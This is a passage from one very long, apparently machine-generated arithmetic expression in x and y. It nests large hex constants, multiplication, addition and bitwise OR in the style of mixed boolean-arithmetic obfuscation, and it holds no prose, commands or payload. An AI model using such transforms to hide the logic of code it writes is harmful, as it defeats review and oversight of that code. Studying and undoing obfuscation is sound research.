ab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-((((((((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dba